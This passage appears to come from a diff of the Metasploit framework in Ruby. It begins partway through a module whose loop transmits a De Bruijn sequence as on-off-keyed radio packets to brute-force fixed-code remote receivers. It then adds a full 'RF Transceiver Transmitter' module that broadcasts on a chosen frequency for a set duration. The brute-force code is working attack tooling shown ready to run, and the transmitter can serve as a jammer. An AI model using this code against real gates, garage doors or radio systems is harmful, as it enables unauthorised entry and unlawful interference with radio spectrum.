print_status("Padding before binary: #{datastore['PPAD']}") if datastore["PPAD"]
print_status("Padding after binary: #{datastore["TPAD"]}") if datastore["TPAD"]
print_status("De Bruijin Sequence: #{brutepacket}") if datastore["EXTRAVERBOSE"]
startn = 0
endy = 512
brutepackettmp = ""
addr = 512
if datastore["TRI"]
endy = 128
addr = 128
end
if datastore["REPEAT"] >= 2 or datastore["PPAD"] or datastore["TPAD"]
endy = datastore["BINLENGTH"]
addr = 1
end
# Transmit
while startn < brutepacket.length
(0..datastore["REPEAT"]-1).each do |i|
brutepackettemp = brutepacket[startn..endy-1]
next if brutepackettemp.length < datastore["BINLENGTH"]
# Pad if asked to
brutepackettemp = datastore["PPAD"] + brutepackettemp if datastore["PPAD"]
brutepackettemp += datastore["TPAD"] if datastore["TPAD"]
if datastore["RAW"]
key_packed = brutepackettemp.scan(/.{1,8}/).collect{|x| x.to_i(2).chr}
else
key_packed = convert_ook(brutepackettemp)
end
print_status("Transmitting...")
set_flen(key_packed.length)
rfxmit(key_packed.join)
print_status("Binary before PWM encoding:")
print_status("#{brutepackettemp}")
print_status("Binary after PWM encoding:")
print_status("#{key_packed.join.unpack("H*")[0].hex.to_s(2)}")
sleep(datastore["DELAY"] / 1000) if datastore["DELAY"] > 0
end
if datastore["REPEAT"] >= 2 or datastore["PPAD"] or datastore["TPAD"]
startn += addr
endy += addr
else
startn = startn + addr - datastore["BINLENGTH"]
endy = endy + addr - datastore["BINLENGTH"]
end
end
print_status("Done")
set_mode("IDLE")
end
end

View File

@ -0,0 +1,60 @@
class MetasploitModule < Msf::Post
include Msf::Post::Hardware::RFTransceiver::RFTransceiver
def initialize(info={})
super( update_info( info,
'Name' => 'RF Transceiver Transmitter',
'Description' => %q{
This module powers an HWBridge-connected radio transceiver,
effectively transmitting on the frequency set by the FREQ option.
NOTE: Users of this module should be aware of their local laws,
regulations, and licensing requirements for transmitting on any
given radio frequency.
},
'References' =>
[
['URL', 'https://github.com/AndrewMohawk/RfCatHelpers']
],
'License' => MSF_LICENSE,
'Author' => ['Craig Smith'],
'Platform' => ['hardware'],
'SessionTypes' => ['hwbridge']
))
register_options([
OptInt.new('FREQ', [true, "Frequency to transmit on"]),
OptInt.new('SECONDS', [false, "Seconds to transmit", 4]),
OptInt.new('BAUD', [false, "Baud rate to use", 4800]),
OptInt.new('POWER', [false, "Power level", 100]),
OptInt.new('INDEX', [false, "USB Index to use", 0])
], self.class)
end
def run
if not is_rf?
print_error("Not an RF Transceiver")
return
end
if not set_index(datastore['INDEX'])
print_error("Couldn't set usb index to #{datastore["INDEX"]}")
return
end
set_modulation("ASK/OOK")
set_freq(datastore["FREQ"])
set_sync_mode(0)
set_baud(datastore["BAUD"])
set_channel_spc(24000)
set_mode("idle")
set_power(datastore["POWER"])
print_status("Transmitting on #{datastore['FREQ']} for #{datastore['SECONDS']} seconds...")
set_mode("tx")
sleep(datastore['SECONDS'])
print_status("Finished transmitting")
set_mode("idle")
end
end